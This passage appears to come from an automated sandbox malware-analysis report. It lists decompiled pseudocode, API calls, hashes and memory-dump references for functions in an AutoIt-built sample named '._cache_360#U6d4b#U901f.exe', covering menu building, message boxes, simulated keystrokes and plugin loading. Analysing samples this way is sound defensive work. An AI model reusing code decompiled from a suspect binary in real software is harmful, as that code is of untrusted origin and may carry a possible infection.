                                                                                                                                                                            APIs
                                                                                                                                                                            • _memset.LIBCMT ref: 0045F317
                                                                                                                                                                            • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
                                                                                                                                                                            • IsMenu.USER32(?), ref: 0045F380
                                                                                                                                                                            • CreatePopupMenu.USER32 ref: 0045F3C5
                                                                                                                                                                            • GetMenuItemCount.USER32(?), ref: 0045F42F
                                                                                                                                                                            • InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                                                                                                                            • String ID: 0$2
                                                                                                                                                                            • API String ID: 3311875123-3793063076
                                                                                                                                                                            • Opcode ID: d956014b862e72d73e15a0224eb2b58c38d8543e4629a4de4d4f92f78b3476b0
                                                                                                                                                                            • Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
                                                                                                                                                                            • Opcode Fuzzy Hash: d956014b862e72d73e15a0224eb2b58c38d8543e4629a4de4d4f92f78b3476b0
                                                                                                                                                                            • Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043717F Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 46%
                                                                                                                                                                            			E0043717F(int _a4, char _a8) {
				short _v516;
				short _v1032;
				void* __edi;
				void* __esi;
				void* _t16;
				void* _t21;
				void* _t23;
				void* _t24;
				void* _t26;

				LoadStringW(GetModuleHandleW(0), _a4,  &_v1032, 0x100);
				LoadStringW(GetModuleHandleW(0), 0x1389,  &_v516, 0x100);
				_t29 = _a8;
				_t23 = _t21;
				_t26 = _t24;
				if(_a8 == 0) {
					return MessageBoxW(0,  &_v516,  &_v1032, 0x11010);
				} else {
					_push(0x4846d6);
					_push(0x4846d6);
					_push( &_v516);
					_push(0);
					_push( &_v1032);
					_push(L"%s (%d) : ==> %s: \n%s \n%s\n");
					return E00413E5C(_t16,  &_v516, _t23, _t26, _t29);
				}
			}












                                                                                                                                                                            0x004371a7
                                                                                                                                                                            0x004371c0
                                                                                                                                                                            0x004371c2
                                                                                                                                                                            0x004371ca
                                                                                                                                                                            0x004371cb
                                                                                                                                                                            0x004371d3
                                                                                                                                                                            0x00437214
                                                                                                                                                                            0x004371d5
                                                                                                                                                                            0x004371d5
                                                                                                                                                                            0x004371da
                                                                                                                                                                            0x004371df
                                                                                                                                                                            0x004371e0
                                                                                                                                                                            0x004371e6
                                                                                                                                                                            0x004371e7
                                                                                                                                                                            0x004371fa
                                                                                                                                                                            0x004371fa

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe), ref: 0043719E
                                                                                                                                                                            • LoadStringW.USER32(00000000), ref: 004371A7
                                                                                                                                                                            • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
                                                                                                                                                                            • LoadStringW.USER32(00000000), ref: 004371C0
                                                                                                                                                                            • _printf.LIBCMT ref: 004371EC
                                                                                                                                                                            • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208
                                                                                                                                                                            Strings
                                                                                                                                                                            • C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe, xrefs: 00437189
                                                                                                                                                                            • %s (%d) : ==> %s: %s %s, xrefs: 004371E7
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: HandleLoadModuleString$Message_printf
                                                                                                                                                                            • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                            • API String ID: 220974073-4073785907
                                                                                                                                                                            • Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                                            • Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
                                                                                                                                                                            • Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                                            • Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00445CF9 Relevance: 13.6, APIs: 9, Instructions: 69sleepkeyboardwindowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 81%
                                                                                                                                                                            			E00445CF9(struct HWND__** _a4) {
				intOrPtr _v0;
				struct HWND__** _t27;

				_t27 = _a4;
				E0044593E( *_t27, 1);
				_push(MapVirtualKeyW(0x25, 0) << 0x00000010 | 0x00000001);
				if(_v0 >= 0) {
					PostMessageW( *_t27, 0x100, 0x27, ??);
					Sleep(0);
					PostMessageW( *_t27, 0x101, 0x27, MapVirtualKeyW(0x25, 0) << 0x00000010 | 0xc0000001);
				} else {
					PostMessageW( *_t27, 0x100, 0x25, ??);
					Sleep(0);
					PostMessageW( *_t27, 0x101, 0x25, MapVirtualKeyW(0x25, 0) << 0x00000010 | 0xc0000001);
				}
				Sleep(0);
				E0044593E( *_t27, 0);
				return 1;
			}





                                                                                                                                                                            0x00445cfc
                                                                                                                                                                            0x00445d06
                                                                                                                                                                            0x00445d28
                                                                                                                                                                            0x00445d29
                                                                                                                                                                            0x00445d66
                                                                                                                                                                            0x00445d70
                                                                                                                                                                            0x00445d8b
                                                                                                                                                                            0x00445d2b
                                                                                                                                                                            0x00445d35
                                                                                                                                                                            0x00445d3f
                                                                                                                                                                            0x00445d8b
                                                                                                                                                                            0x00445d8b
                                                                                                                                                                            0x00445d8f
                                                                                                                                                                            0x00445d96
                                                                                                                                                                            0x00445da1

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0044593E: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 0044595D
                                                                                                                                                                              • Part of subcall function 0044593E: GetCurrentThreadId.KERNEL32 ref: 00445964
                                                                                                                                                                              • Part of subcall function 0044593E: AttachThreadInput.USER32(00000000,?,00000001,00478FA7), ref: 0044596B
                                                                                                                                                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D15
                                                                                                                                                                            • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00445D35
                                                                                                                                                                            • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00445D3F
                                                                                                                                                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D45
                                                                                                                                                                            • PostMessageW.USER32(00000000,00000100,00000027,00000000), ref: 00445D66
                                                                                                                                                                            • Sleep.KERNEL32(00000000), ref: 00445D70
                                                                                                                                                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D76
                                                                                                                                                                            • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00445D8B
                                                                                                                                                                            • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000), ref: 00445D8F
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2014098862-0
                                                                                                                                                                            • Opcode ID: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                                            • Instruction ID: b085f3065cf9cd100f04f322da00d4b037e108fc79bf5967fdabce1cd6d2e74b
                                                                                                                                                                            • Opcode Fuzzy Hash: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                                            • Instruction Fuzzy Hash: 7B116971790704B7F620AB958C8AF5A7399EF88B11F20080DF790AB1C1C9F5E4418B7C
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045427D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 259libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 93%
                                                                                                                                                                            			E0045427D() {
				intOrPtr __ebx;
				intOrPtr* __edi;
				long long* __esi;
				signed int __ebp;
				intOrPtr _t106;
				signed int _t110;
				signed int _t112;
				signed int _t116;
				intOrPtr _t120;
				intOrPtr _t121;
				struct HINSTANCE__** _t131;
				void* _t134;
				void* _t137;
				struct HINSTANCE__* _t141;
				signed int _t144;
				signed int _t147;
				signed int _t152;
				signed int _t157;
				struct HINSTANCE__* _t162;
				void* _t164;
				signed int _t178;
				signed int _t182;
				intOrPtr _t183;
				signed int _t184;
				intOrPtr* _t185;
				intOrPtr* _t186;
				intOrPtr _t187;
				signed int _t188;
				void* _t190;
				void* _t191;
				void* _t192;
				void* _t193;

				_t187 =  *((intOrPtr*)(_t190 + 0x1c));
				_t185 =  *((intOrPtr*)(_t190 + 0x30));
				_t182 = 0;
				 *( *(_t190 + 0x2c)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t190 + 0x28)))) = 0;
				E004092C0(0, _t185);
				 *((intOrPtr*)(_t185 + 8)) = 1;
				 *_t185 = 1;
				_t106 =  *((intOrPtr*)(_t187 + 8));
				 *((intOrPtr*)(_t190 + 0x34)) = 0;
				 *((intOrPtr*)(_t190 + 0x14)) = 0;
				 *((intOrPtr*)(_t190 + 0x18)) = _t106;
				if(_t106 <= 0) {
					L13:
					return 6;
				} else {
					while( *((intOrPtr*)(_t190 + 0x34)) == 0) {
						_t169 =  *(_t187 + 4);
						_t131 = ( *(_t187 + 4))[_t182];
						if( *_t131 == 0) {
							L11:
							_t182 = _t182 + 1;
							if(_t182 <  *((intOrPtr*)(_t190 + 0x18))) {
								continue;
							} else {
								if( *((intOrPtr*)(_t190 + 0x34)) != 0) {
									break;
								} else {
									goto L13;
								}
							}
						} else {
							_t147 = 0;
							if( *((intOrPtr*)( *_t131 + 4)) <= 0) {
								goto L11;
							} else {
								 *((intOrPtr*)(_t190 + 0x24)) = 0;
								while(1) {
									_t134 = E004261F1( *((intOrPtr*)( *((intOrPtr*)( *_t131 + 8)) +  *((intOrPtr*)(_t190 + 0x24)))), _t182,  *((intOrPtr*)(_t190 + 0x28)),  *((intOrPtr*)( *((intOrPtr*)( *_t131 + 8)) +  *((intOrPtr*)(_t190 + 0x24)))));
									_t162 =  *(_t187 + 4);
									_t190 = _t190 + 8;
									if(_t134 == 0) {
										break;
									}
									_t131 = _t162[_t182];
									_t169 =  *_t131;
									 *((intOrPtr*)(_t190 + 0x24)) =  *((intOrPtr*)(_t190 + 0x24)) + 0xc;
									_t147 = _t147 + 1;
									if(_t147 <  *((intOrPtr*)( *_t131 + 4))) {
										continue;
									} else {
										goto L11;
									}
									goto L44;
								}
								_t137 = _t147 + _t147 * 2 + _t147 + _t147 * 2 + _t147 + _t147 * 2 + _t147 + _t147 * 2;
								_t164 =  *((intOrPtr*)( *(_t162[_t182]) + 8)) + _t137;
								_t178 =  *(_t190 + 0x2c);
								__eflags = _t178 -  *((intOrPtr*)(_t164 + 4));
								if(_t178 <  *((intOrPtr*)(_t164 + 4))) {
									L14:
									return 7;
								} else {
									__eflags = _t178 -  *((intOrPtr*)(_t164 + 8));
									if(_t178 >  *((intOrPtr*)(_t164 + 8))) {
										goto L14;
									} else {
										 *((intOrPtr*)(_t190 + 0x34)) = GetProcAddress( *( *(( *(_t187 + 4))[_t182])),  *(( *(( *(_t187 + 4))[_t182]))[2] + _t137));
										_t141 =  *(_t187 + 4);
										_t169 =  *( *(_t141[_t182]));
										 *((intOrPtr*)(_t190 + 0x14)) = GetProcAddress( *( *(_t141[_t182])), "AU3_FreeVar");
										goto L11;
									}
								}
							}
						}
						goto L44;
					}
					_t144 =  *(_t190 + 0x2c);
					_t110 = E004138BA(_t144, _t169, _t182, _t144 << 4);
					_t191 = _t190 + 4;
					_t188 = 0;
					 *(_t191 + 0x24) = _t110;
					__eflags = _t144;
					if(_t144 > 0) {
						_t184 = _t110;
						do {
							_t120 =  *((intOrPtr*)(_t191 + 0x30));
							_t157 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t120 + 4)) + _t188 * 4)) + 8)) + 0xfffffffe;
							__eflags = _t157 - 5;
							if(_t157 > 5) {
								L23:
								 *_t184 = 1;
								_t121 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t120 + 4)) + _t188 * 4)));
								goto L24;
							} else {
								switch( *((intOrPtr*)(_t157 * 4 +  &M004545A1))) {
									case 0:
										 *__edi = 2;
										__edx =  *((intOrPtr*)(__eax + 4));
										__eax =  *((intOrPtr*)( *((intOrPtr*)(__eax + 4)) + __ebp * 4));
										__eax = E00443576( *((intOrPtr*)( *((intOrPtr*)(__eax + 4)) + __ebp * 4)));
										 *((intOrPtr*)(__edi + 0xc)) = __edx;
										goto L24;
									case 1:
										 *__edi = 3;
										__ecx =  *((intOrPtr*)(__eax + 4));
										__ecx =  *((intOrPtr*)( *((intOrPtr*)(__eax + 4)) + __ebp * 4));
										__eax = E0040BE90(__ecx);
										 *((long long*)(__edi + 8)) = __fp0;
										goto L25;
									case 2:
										 *_t184 = 4;
										_t146 = E0040F580(E00453081( *((intOrPtr*)( *((intOrPtr*)(_t120 + 4)) + _t188 * 4))), _t184);
										_t128 = E004138BA(_t125, _t173, _t184, E004137E0(_t125) + 1);
										_t196 = _t191 + 8;
										 *((intOrPtr*)(_t184 + 8)) = _t128;
										E00413990(_t128, _t125);
										E004112EF(_t125, _t173, _t184, _t185, __eflags, _t146);
										_t144 =  *(_t196 + 0x38);
										_t191 = _t196 + 0xc;
										goto L25;
									case 3:
										goto L23;
									case 4:
										 *__edi = 5;
										__eax =  *((intOrPtr*)(__eax + __ebp * 4));
										__eax = E0044B390(__eax);
										L24:
										 *((intOrPtr*)(_t184 + 8)) = _t121;
										goto L25;
								}
							}
							L25:
							_t188 = _t188 + 1;
							_t184 = _t184 + 0x10;
							__eflags = _t188 - _t144;
						} while (_t188 < _t144);
						_t110 =  *(_t191 + 0x24);
					}
					_t171 = _t191 + 0x18;
					 *(_t191 + 0x24) = 0;
					 *((intOrPtr*)(_t191 + 0x48))(_t144, _t110, _t191 + 0x18,  *((intOrPtr*)(_t191 + 0x38)),  *((intOrPtr*)(_t191 + 0x3c)));
					_t112 =  *(_t191 + 0x24);
					_t192 = _t191 + 0x14;
					__eflags = _t112;
					if(_t112 != 0) {
						_t152 =  *_t112 + 0xfffffffe;
						__eflags = _t152 - 3;
						if(_t152 > 3) {
							_t183 =  *((intOrPtr*)(_t112 + 8));
							E004092C0(_t183, _t185);
							 *((intOrPtr*)(_t185 + 8)) = 1;
							goto L35;
						} else {
							switch( *((intOrPtr*)(_t152 * 4 +  &M004545B9))) {
								case 0:
									_t183 =  *((intOrPtr*)(_t112 + 8));
									E004092C0(_t183, _t185);
									 *((intOrPtr*)(_t185 + 8)) = 2;
									 *((intOrPtr*)(_t185 + 4)) =  *((intOrPtr*)(_t112 + 0xc));
									goto L35;
								case 1:
									__fp0 =  *((long long*)(__eax + 8));
									 *((long long*)(__esp + 0x18)) =  *((long long*)(__eax + 8));
									__eax = E004092C0(__edi, __esi);
									__fp0 =  *((long long*)(__esp + 0x18));
									 *((intOrPtr*)(__esi + 8)) = 3;
									 *__esi =  *((long long*)(__esp + 0x18));
									goto L36;
								case 2:
									__eax =  *((intOrPtr*)(__eax + 8));
									__edi = __eax;
									__ebx = __esi;
									E0040E6D0(__ebx, __eflags) = E004112EF(__ebx, __edx, __edi, __esi, __eflags, __edi);
									__ebx =  *((intOrPtr*)(__esp + 0x30));
									goto L36;
								case 3:
									__edi =  *((intOrPtr*)(__eax + 8));
									__eax = E004092C0(__edi, __esi);
									 *((intOrPtr*)(__esi + 8)) = 7;
									L35:
									 *_t185 = _t183;
									goto L36;
							}
						}
						L36:
						__eflags = _t144;
						if(__eflags > 0) {
							_t186 =  *((intOrPtr*)(_t192 + 0x24));
							do {
								__eflags =  *_t186 - 4;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t186 + 8)));
									E00413A88(_t144, _t171, _t183, _t186, __eflags);
									_t192 = _t192 + 4;
								}
								_t186 = _t186 + 0x10;
								_t144 = _t144 - 1;
								__eflags = _t144;
							} while (__eflags != 0);
						}
						_push( *((intOrPtr*)(_t192 + 0x24)));
						E00413A88(_t144,  *((intOrPtr*)(_t192 + 0x24)), _t183, _t185, __eflags);
						_t116 =  *(_t192 + 0x18);
						_t193 = _t192 + 4;
						__eflags = _t116;
						if(_t116 != 0) {
							 *_t116( *((intOrPtr*)(_t193 + 0x10)));
						}
					}
					__eflags = 0;
					return 0;
				}
				L44:
			}



































                                                                                                                                                                            0x0045428a
                                                                                                                                                                            0x0045428f
                                                                                                                                                                            0x00454294
                                                                                                                                                                            0x00454296
                                                                                                                                                                            0x00454298
                                                                                                                                                                            0x0045429a
                                                                                                                                                                            0x0045429f
                                                                                                                                                                            0x004542a6
                                                                                                                                                                            0x004542ac
                                                                                                                                                                            0x004542b1
                                                                                                                                                                            0x004542b5
                                                                                                                                                                            0x004542b9
                                                                                                                                                                            0x004542bd
                                                                                                                                                                            0x00454389
                                                                                                                                                                            0x00454395
                                                                                                                                                                            0x004542c3
                                                                                                                                                                            0x004542c3
                                                                                                                                                                            0x004542ce
                                                                                                                                                                            0x004542d1
                                                                                                                                                                            0x004542d7
                                                                                                                                                                            0x00454377
                                                                                                                                                                            0x00454377
                                                                                                                                                                            0x0045437c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454382
                                                                                                                                                                            0x00454387
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454387
                                                                                                                                                                            0x004542dd
                                                                                                                                                                            0x004542df
                                                                                                                                                                            0x004542e4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004542ea
                                                                                                                                                                            0x004542ea
                                                                                                                                                                            0x004542ee
                                                                                                                                                                            0x00454300
                                                                                                                                                                            0x00454305
                                                                                                                                                                            0x00454308
                                                                                                                                                                            0x0045430d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045430f
                                                                                                                                                                            0x00454312
                                                                                                                                                                            0x00454314
                                                                                                                                                                            0x00454319
                                                                                                                                                                            0x0045431d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045431f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045431f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045431d
                                                                                                                                                                            0x0045432e
                                                                                                                                                                            0x00454330
                                                                                                                                                                            0x00454333
                                                                                                                                                                            0x00454337
                                                                                                                                                                            0x0045433a
                                                                                                                                                                            0x00454398
                                                                                                                                                                            0x004543a4
                                                                                                                                                                            0x0045433c
                                                                                                                                                                            0x0045433c
                                                                                                                                                                            0x0045433f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454341
                                                                                                                                                                            0x0045435d
                                                                                                                                                                            0x00454361
                                                                                                                                                                            0x00454369
                                                                                                                                                                            0x00454373
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454373
                                                                                                                                                                            0x0045433f
                                                                                                                                                                            0x0045433a
                                                                                                                                                                            0x004542e4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004542d7
                                                                                                                                                                            0x004543a7
                                                                                                                                                                            0x004543b1
                                                                                                                                                                            0x004543b6
                                                                                                                                                                            0x004543b9
                                                                                                                                                                            0x004543bb
                                                                                                                                                                            0x004543bf
                                                                                                                                                                            0x004543c1
                                                                                                                                                                            0x004543c7
                                                                                                                                                                            0x004543cd
                                                                                                                                                                            0x004543cd
                                                                                                                                                                            0x004543da
                                                                                                                                                                            0x004543dd
                                                                                                                                                                            0x004543e0
                                                                                                                                                                            0x00454475
                                                                                                                                                                            0x00454475
                                                                                                                                                                            0x00454481
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004543e6
                                                                                                                                                                            0x004543e6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045444a
                                                                                                                                                                            0x00454450
                                                                                                                                                                            0x00454453
                                                                                                                                                                            0x00454457
                                                                                                                                                                            0x0045445c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454434
                                                                                                                                                                            0x0045443a
                                                                                                                                                                            0x0045443d
                                                                                                                                                                            0x00454440
                                                                                                                                                                            0x00454445
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004543ed
                                                                                                                                                                            0x00454406
                                                                                                                                                                            0x00454413
                                                                                                                                                                            0x00454418
                                                                                                                                                                            0x0045441d
                                                                                                                                                                            0x00454420
                                                                                                                                                                            0x00454426
                                                                                                                                                                            0x0045442b
                                                                                                                                                                            0x0045442f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454461
                                                                                                                                                                            0x0045446a
                                                                                                                                                                            0x0045446e
                                                                                                                                                                            0x00454486
                                                                                                                                                                            0x00454486
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004543e6
                                                                                                                                                                            0x00454489
                                                                                                                                                                            0x00454489
                                                                                                                                                                            0x0045448a
                                                                                                                                                                            0x0045448d
                                                                                                                                                                            0x0045448d
                                                                                                                                                                            0x00454495
                                                                                                                                                                            0x00454495
                                                                                                                                                                            0x004544a3
                                                                                                                                                                            0x004544aa
                                                                                                                                                                            0x004544b2
                                                                                                                                                                            0x004544b6
                                                                                                                                                                            0x004544ba
                                                                                                                                                                            0x004544bd
                                                                                                                                                                            0x004544bf
                                                                                                                                                                            0x004544c7
                                                                                                                                                                            0x004544ca
                                                                                                                                                                            0x004544cd
                                                                                                                                                                            0x0045453f
                                                                                                                                                                            0x00454542
                                                                                                                                                                            0x00454547
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004544cf
                                                                                                                                                                            0x004544cf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004544d6
                                                                                                                                                                            0x004544dc
                                                                                                                                                                            0x004544e1
                                                                                                                                                                            0x004544e8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004544ed
                                                                                                                                                                            0x004544f0
                                                                                                                                                                            0x004544f4
                                                                                                                                                                            0x004544f9
                                                                                                                                                                            0x004544fd
                                                                                                                                                                            0x00454504
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454519
                                                                                                                                                                            0x00454527
                                                                                                                                                                            0x00454529
                                                                                                                                                                            0x00454531
                                                                                                                                                                            0x00454536
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454508
                                                                                                                                                                            0x0045450b
                                                                                                                                                                            0x00454510
                                                                                                                                                                            0x0045454e
                                                                                                                                                                            0x0045454e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004544cf
                                                                                                                                                                            0x00454550
                                                                                                                                                                            0x00454550
                                                                                                                                                                            0x00454552
                                                                                                                                                                            0x00454554
                                                                                                                                                                            0x0045455d
                                                                                                                                                                            0x0045455d
                                                                                                                                                                            0x00454560
                                                                                                                                                                            0x00454565
                                                                                                                                                                            0x00454566
                                                                                                                                                                            0x0045456b
                                                                                                                                                                            0x0045456b
                                                                                                                                                                            0x0045456e
                                                                                                                                                                            0x00454571
                                                                                                                                                                            0x00454571
                                                                                                                                                                            0x00454571
                                                                                                                                                                            0x0045455d
                                                                                                                                                                            0x0045457a
                                                                                                                                                                            0x0045457b
                                                                                                                                                                            0x00454580
                                                                                                                                                                            0x00454584
                                                                                                                                                                            0x00454587
                                                                                                                                                                            0x00454589
                                                                                                                                                                            0x00454590
                                                                                                                                                                            0x00454592
                                                                                                                                                                            0x00454589
                                                                                                                                                                            0x00454598
                                                                                                                                                                            0x0045459e
                                                                                                                                                                            0x0045459e
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressProc_malloc$_strcat_strlen
                                                                                                                                                                            • String ID: AU3_FreeVar
                                                                                                                                                                            • API String ID: 2184576858-771828931
                                                                                                                                                                            • Opcode ID: 7a01a18efdad07015a6af2930c15ca588f8ecd4465e0071c26d509367b01829e
                                                                                                                                                                            • Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
                                                                                                                                                                            • Opcode Fuzzy Hash: 7a01a18efdad07015a6af2930c15ca588f8ecd4465e0071c26d509367b01829e
